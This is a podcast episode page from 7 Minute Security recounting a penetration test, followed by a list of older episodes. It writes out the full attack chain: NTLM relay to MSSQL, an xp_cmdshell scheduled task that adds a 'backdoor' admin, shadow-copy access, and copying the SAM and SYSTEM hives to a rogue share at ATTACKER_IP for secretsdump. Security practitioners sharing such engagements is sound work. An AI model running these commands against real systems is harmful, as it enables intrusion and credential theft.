7MS #692: Tales of Pentest Pwnage – Part 76
7 Minute Security12 Syys 2025

7MS #692: Tales of Pentest Pwnage – Part 76

Happy Friday! Today's another hot pile of pentest pwnage. To make it easy on myself I'm going to share the whole narrative that I wrote up for someone else:

I was on a pentest where a DA account would sweep the networks every few minutes over SMB and hit my box. But SMB signing was on literally everywhere. The fine folks here recommended I try relaying to something NOT SMB, like MSSQL. This article had good context on that: https://www.guidepointsecurity.com/blog/beyond-the-basics-exploring-uncommon-ntlm-relay-attack-techniques/.

I relayed the DA account to a SQL box that BloodHound said had a "session" from another DA. One part I can't explain is the first relay got me a shell in the context of NT SERVICE\MSSQLSERVER. That shell broke for some reason while I was sleeping that night, and the next relay landed as NT AUTHORITY\SYSTEM (!). The net command would let me add a new user, but BLOCK me trying to make that new user a local admin. However, a scheduled task did the trick: xp_cmdshell schtasks /create /tn "Maintenance" /tr "net local group administrators backdoor /add" /sc once /st 12:00 /ru SYSTEM /f and then xp_cmdshell schtasks /run /tn "Maintenance".

Turns out a DA wasn't interactively logged in, but a DA account was configured to run a specific service. I learned those goodies are stored in LSA, so the next move was to use my local admin account to RDP in to the victim and create a shadow copy. That part went fine, but for the life of me I couldn't copy reg hives out of it – EDR was unhappy.

In the end, the bizarre combo of things that did the trick was:

  • Setup smbserver.py with username/password auth on my attacking box: smbserver.py -smb2support share . -username toteslegit -password 'DontMindMeLOL!'
  • From the victim system, I did an mklink to the shadow copy: mklink /d C:\tempbackup \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy123\
  • From command prompt on the victim system, I authenticated to my rogue share: net use \\ATTACKER_IP\share /user:toteslegit DontMindMeLOL!
  • Then I did a copy command for the first hive: copy SYSTEM \\my.attackingip\sys.test. EDR would kill this cmd.exe box IMMEDIATELY. However….the copy completed!
  • I repeated this process to get SAM copied over as sam.test. Again, EDR nuked the cmd.exe window but copy completed!!!111!!!!!
  • Finishing move: secretsdump -sam sam.test -system sys.test LOCAL

Jaksot(720)

7MS #319: Sniper and Firewalls Full of FUD

7MS #319: Sniper and Firewalls Full of FUD

Today's episode is brought to you by ITProTV. Visit itpro.tv/7ms and use code 7MS to get a FREE 7-day trial and 30% off a monthly membership for the lifetime of your active subscription. In today's e...

20 Heinä 201818min

7MS #318: Interview with Bjorn Kimminich of OWASP Juice Shop

7MS #318: Interview with Bjorn Kimminich of OWASP Juice Shop

Today's episode is brought to you by ITProTV. Visit itpro.tv/7ms and use code 7MS to get a FREE 7-day trial and 30% off a monthly membership for the lifetime of your active subscription. This week's ...

11 Heinä 20181h

7MS #317: Interview with Justin McCarthy of StrongDM

7MS #317: Interview with Justin McCarthy of StrongDM

Today's interview features Justin McCarthy, CTO and cofounder of StrongDM, which offers both commercial and open source tools (like Comply) to help customers with SOC compliance. Justin schooled me (i...

5 Heinä 201848min

7MS #316: How to Succeed in Business Without Really Crying - Part 3

7MS #316: How to Succeed in Business Without Really Crying - Part 3

In this episode I wanted to give you some cool/fun updates as it relates to 7MS the business! Specifically: A new member of the 7MS team (kinda!) The weird and varied projects I'm working on Upcoming...

28 Kesä 201822min

7MS #315: Creating a Personal DR Plan - Part 2

7MS #315: Creating a Personal DR Plan - Part 2

As a continuation of last week's episode I'm now making a bit of progress in finding a good backup solution that protects USB backups both at rest and when pumped up to the cloud. I mentioned I've bee...

21 Kesä 201811min

7MS #314: Creating a Personal DR Plan

7MS #314: Creating a Personal DR Plan

You probably create DR plans for your business (or help other companies build them), but have you thought about creating one for yourself? Yeah, I know it's grim to think about "What will my loved one...

13 Kesä 201815min

7MS #313: Push-Button Domain Admin Access

7MS #313: Push-Button Domain Admin Access

As I was preparing for my Secure 360 talk a month or so ago, I stumbled upon this awesome article which details a method for getting Domain Admin access in just a few minutes - without cracking passwo...

7 Kesä 201818min

7MS #312: OFF-TOPIC - Boxing a Cat

7MS #312: OFF-TOPIC - Boxing a Cat

It has been a heck of a week (in a good way), and I'm taking a break from security so you can help me untangle a mystery that's been wrapped around my brain for years. I need you to help me figure out...

30 Touko 201818min

Suosittua kategoriassa Politiikka ja uutiset

uutiscast
aikalisa
politiikan-puskaradio
rss-ootsa-kuullut-tasta
ootsa-kuullut-tasta-2
tervo-halme
rss-podme-livebox
aihe
rss-ulkopoditiikkaa
the-ulkopolitist
viisupodi
rss-pinnalla
otetaan-yhdet
et-sa-noin-voi-sanoo-esittaa
radio-antro
rss-tasta-on-kyse-ivan-puopolo-verkkouutiset
rss-asiastudio
rss-uusi-juttu-mediastartupin-tarina
rss-vaalirankkurit-podcast
rss-kaikki-uusiksi